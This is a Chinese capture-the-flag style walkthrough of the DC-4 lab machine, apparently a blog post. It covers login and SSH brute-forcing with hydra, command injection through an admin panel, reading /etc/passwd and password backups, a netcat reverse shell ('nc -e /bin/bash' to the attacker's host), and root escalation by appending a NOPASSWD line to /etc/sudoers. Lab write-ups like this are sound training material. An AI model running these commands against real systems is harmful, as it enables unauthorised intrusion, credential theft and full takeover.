DC-4靶机渗透测试

DC-4靶机渗透测试

1. 信息收集

1.1 主机扫描

arp-scan -l

image-20230807200227261

1.2 端口扫描

nmap -sS -p- 192.168.188.174

image-20230807200409522

这里发现了ssh的22端口以及80端口。

1.3 目录扫描

dirb http://192.168.188.174/

dirsearch -u http://192.168.188.174 

image-20230807200758424

image-20230808214318960

目录扫描没有扫描到有用的信息。

浏览器访问web页面

image-20230807200553446

页面也没有可以利用的信息。

2. 渗透

2.1 用户名密码爆破

用户名输入admin(页面提示的管理信息系统登录)密码随便输入,点击登入,用burpsuite抓包。

image-20230807201447803

将抓到的请求报文发送到攻击器。

image-20230807201701969

导入字典开始破解密码

image-20230807201626089

按照长度排名,寻找返回长度不同的密码,可以看到happy的长度不同。

image-20230807204406860

也可以使用hydra

hydra -l admin -P top1000.txt 192.168.188.174 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F

这是一个 Hydra 的命令行指令,用于暴力破解 Web 应用程序的登录。解释如下:

  • hydra:命令名,表示使用 Hydra 工具。

  • -l admin:指定用户名为 admin。

  • -P top1000.txt:指定密码字典为当前目录下的 top1000.txt。

  • 192.168.188.174 :指定要攻击的服务器 IP 地址。

  • http-post-form:指定使用 HTTP POST 请求方式。

  • "/login.php:username=^USER^&password=^PASS^:S=logout":指定登录页面地址 /login.php,并使用 username 和 password 作为参数名来传递用户名和密码。其中 USERPASS 含义为在暴力破解过程之中将要用到的用户名和密码,而 :S=logout 则是指当程序返回值为 logout 时,认为破解成功并退出程序。

  • -F:如果成功的话,停止猜测其他密码。

综上所述,上述命令的作用就是对目标服务器 192.168.188.174 的 /login.php 页面进行暴力破解登录,用户名为 admin,密码字典为 top1000.txt

image-20230807211914803

用户名admin密码happy在浏览器登陆页面登陆。

image-20230807205629115

点击Command然后选择List Files最后点击Run,就会运行linux命令

image-20230807205730861

2.2 命令执行漏洞利用

burpsuite抓包,点击run,右键发到重放器。

可以看到,运行list files,其实是向后台发送 ls + -l 指令,那么这里是不是在暗示可以将命令改成我们想运行的命令呢,比如反弹shell。

image-20230807213130421

查看当前登录用户的权限

id

image-20230807213049795

查看有没有用户

cat /etc/passwd

image-20230807213453459

发现有三个用户,查看每个用户的家目录,发现只有jim用户家目录有数据。

image-20230807214020306

image-20230807214038217

ls -lh /home/jim

image-20230807214114257

访问jim目录下backups,发现有一个旧的密码本。

ls -lh /home/jim/backups

image-20230807214204437

查看旧密码本

ls -lh /home/jim/backups/old-passwords.bak

image-20230807214309921

复制一下密码本里的东西,保存到一个文件里,尝试密码爆破,因为这个密码本是在jim的家目录找到的,之前端口扫描的时候还开启了ssh远程服务,可以用hydra破解。

hydra -l jim -P pwd.txt ssh://192.168.188.174

image-20230807214821668

用爆破出来的密码进行ssh连接 ,显示有已邮件。

ssh jim@192.168.188.174

image-20230807215112426

前面对backups文件进行了查看,现在查看mbox文件

image-20230807215237467

该邮件是root写给jim的,该系统上默认邮件箱里也有邮件。linux的邮件目录是/var/spool/mail。

image-20230807215536592

通过邮件内容,可以知道Charles 的密码^xHhA&hvim0y

可以切换到charles用户

image-20230807215804745

使用命令后提示权限不够。

3. 提权

查看可以运行的命令:

sudo -l
  • -l:列出目前用户可执行与无法执行的指令。

image-20230807220223386

发现可以使用teehee,可以使用命令:

echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers

这个命令的作用是将一行文本添加到 /etc/sudoers 文件中,允许用户 charles 在执行 sudo 命令时无需输入密码。下面是对该命令的详细解析:

  • echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL': echo 命令用于向标准输出打印文本。此处的文本是 'charles ALL=(ALL:ALL) NOPASSWD:ALL',它定义了一个 sudo 权限规则。
    • charles: 这是用户名,在这个例子中是指定的用户。
    • ALL=(ALL:ALL): 这部分规定了 charles 用户可以以任何用户身份和组执行任何命令。
    • NOPASSWD:ALL: 这部分规定了 charles 用户在执行 sudo 命令时无需输入密码。
  • |: 这是管道符号,用于将 echo 命令的输出传递给下一个命令。
  • sudo teehee -a /etc/sudoerssudo 是一个授权用户执行特权命令的工具。teehee 命令用于从标准输入读取数据,并将其写入文件。-a 参数表示追加写入。
    • /etc/sudoers: 这是一个特殊的文件,用于配置 sudo 的权限规则。只有具有适当权限的用户才能修改此文件。

因此,整个命令的作用是,利用 echo 打印出 sudo 权限规则的文本,并将其追加写入 /etc/sudoers 文件中。这样就允许了用户 charles 在执行 sudo 命令时无需输入密码。

image-20230807222821446

image-20230807223325672

sudo su用于以root用户的身份运行一个新的shell。下面是对该命令的详细解释:

  • sudo:它允许普通用户在不切换到root用户的情况下执行以root用户权限运行的命令。使用sudo可以提供一定的安全性,因为只有授权的用户才能执行特定的命令。
  • su:用于切换用户身份。默认情况下,如果不指定用户,则 su 命令会切换到root用户

当运行sudo su命令时,系统会要求输入当前用户的密码,以确认你有权限切换到root用户。一旦密码验证通过,一个新的shell会打开,并以root用户的身份进行操作。在本例中使用提权命令后用户在切换到root用户的时候无需输入密码即可登录。

4. 方式二

命令执行漏洞利用

修改命令,然后把数据发送回去

nc -e /bin/bash 192.168.188.157 8888

解析:

  • nc:是一款持久性后门程序,被称为网络工具中的瑞士军刀,体积小巧,但功能强大。NC工具的使用说明教程

  • -e /bin/bash:是 nc 命令的选项之一。-e 选项后跟随要执行的命令,这里是 /bin/bash/bin/bash 是 Linux 系统中的默认 shell(命令行解释器),它允许用户与操作系统进行交互。

  • 如果目标主机(kali)正在监听 8888 端口,并且允许连接进来,那么 nc 命令将成功建立 TCP 连接。一旦连接建立成功,目标主机会执行 /bin/bash 命令(默认的交互式 shell),将执行的结果通过网络发送回连接的主机。连接主机会成为一个类似于远程 shell 的环境,可以通过命令和输入输出与目标主机进行交互。

image-20230808222741955

kali开启监听,获取到信息。

nc -lvvp 8888

然后使用反弹交互shell

python3 -c "import pty;pty.spawn('/bin/bash')"

image-20230808222540631

进入到home目录用户的家目录中,看到三个文件夹,是三个用户。然后查看backups目录下发现有一个旧密码本。

image-20230808223103315

然后接下来的过程和之前方式一致。

  • 7
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

来日可期x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值